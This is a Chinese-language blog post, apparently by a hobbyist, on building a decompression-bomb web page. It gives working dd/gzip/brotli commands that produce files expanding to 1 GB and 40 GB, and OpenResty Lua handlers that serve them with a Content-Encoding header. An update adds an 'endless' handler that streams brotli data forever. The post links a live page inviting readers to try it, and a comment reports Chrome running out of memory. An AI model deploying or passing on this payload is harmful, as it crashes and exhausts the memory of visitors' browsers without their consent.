吃内存的网页炸弹

源头

前阵子看到一个文件,42.zip(其实很早之前就有了),说是一个42k的文件,解压后可以膨胀到几个G。下载下来看了看,发现是一个压缩包里有一堆别的压缩包

下载那些文件:https://bomb.codes/bombs

拿gzip做压缩炸弹

正巧想到,网页加载不是也有个gzip吗,搞个网页版的看浏览器能不能承受得了

于是生成了一个文件:

dd if=/dev/zero bs=1M count=1024 | gzip > bomb.gzip

生成的文件大概1M多点,解压后就是1G

因为用的是openresty,所以直接搞个脚本返回文件数据就行了,编码格式设置成gzip

location /large {
    default_type 'text/html';
    content_by_lua_block {
        local f = io.open("/home/ubuntu/bomb.gzip","rb")
        if not f then ngx.say("nil") return end
        ngx.header["Content-Encoding"] = "gzip"
        local data
        while true do
            data = f:read(1024)
            if nil == data then
                break
            end
            ngx.print(data)
            ngx.flush(true)
        end
        f:close()
    }
}

测试了下,效果一般般,另外这个压缩比例是1000:1(1G差不多需要1M),浪费带宽,不太值得

发现了另一个压缩算法

看了看浏览器请求,发现除了gzip,还有个br,查了查发现是Google的一个压缩算法,叫brotli,那就试试好了

sudo apt install brotli
dd if=/dev/zero bs=1M count=1024 | brotli -o -Z > bomb.br

发现1G的文件,处理完只有783字节了,有点强

于是乎直接40G文件搞起,而且生成可见字符好了

dd if=/dev/zero bs=10M count=4096 | tr "\x00" "\x31" | brotli -o -Z > bomb.br

压缩完才33k

同样脚本稍微改下,吧gzip换成br

location /large {
    default_type 'text/html';
    content_by_lua_block {
        local f = io.open("/home/ubuntu/bomb.br","rb")
        if not f then ngx.say("nil") return end
        ngx.header["Content-Encoding"] = "br"
        local data
        while true do
            data = f:read(1024)
            if nil == data then
                break
            end
            ngx.print(data)
            ngx.flush(true)
        end
        f:close()
    }
}

效果惊人

然后浏览器崩了

群里小涛的截图:

End

想体验一下?点开下面的链接就能体验(当心浏览器崩了)

https://qq.papapoi.com/boom


2024.7.2 更新

下面是无尽版的代码,无限长度的br数据

location /endless {
    default_type 'text/html';
    content_by_lua_block {
        ngx.header.content_type = "text/html"
        ngx.header["Content-Encoding"] = "br"
        local data = string.char(
        0xCF, 0xFF, 0xFF, 0x7F, 0xF8, 0x27, 0x00, 0xE2, 0xB1, 0x40, 0x20, 0xF7,
        0xFE, 0x9F, 0xFF, 0xFF, 0xFF, 0xF0, 0x4F, 0x00, 0xC4, 0x61, 0x01, 0x80,
        0xEE, 0xFD, 0x3F, 0xFF, 0xFF, 0xFF, 0xE1, 0x9F, 0x00, 0x88, 0xC3, 0x22,
        0x00, 0xDD, 0xFB, 0x7F, 0xFE, 0xFF, 0xFF, 0xC3, 0x3F, 0x01, 0x10, 0x87,
        0x05, 0x00, 0xBA, 0xF7, 0xFF, 0xFC, 0xFF, 0xFF, 0x87, 0x7F, 0x02, 0x20,
        0x0E, 0x0B, 0x00, 0x74, 0xEF, 0xFF, 0xF9, 0xFF, 0xFF, 0x0F, 0xFF, 0x04,
        0x40, 0x1C, 0x16, 0x00, 0xE8, 0xDE, 0xFF, 0xF3, 0xFF, 0xFF, 0x1F, 0xFE,
        0x09, 0x80, 0x38, 0x2C, 0x00, 0xD0, 0xBD, 0xFF, 0xE7, 0xFF, 0xFF, 0x3F,
        0xFC, 0x13, 0x00, 0x71, 0x58, 0x00, 0xA0, 0x7B, 0xFF)
        while true do
          for i=1,100 do
            ngx.print(data)
            ngx.flush(true)
          end
          ngx.sleep(1)
        end
        f:close()
    }
}

4 Comments

  1. Google Chrome 114.0.0.0 Google Chrome 114.0.0.0 Windows 10 x64 Edition Windows 10 x64 Edition

    换成64G试了试,任务管理器显示浏览器占用13567MB时浏览器显示Out of Memory了

发表评论

您的电子邮箱地址不会被公开。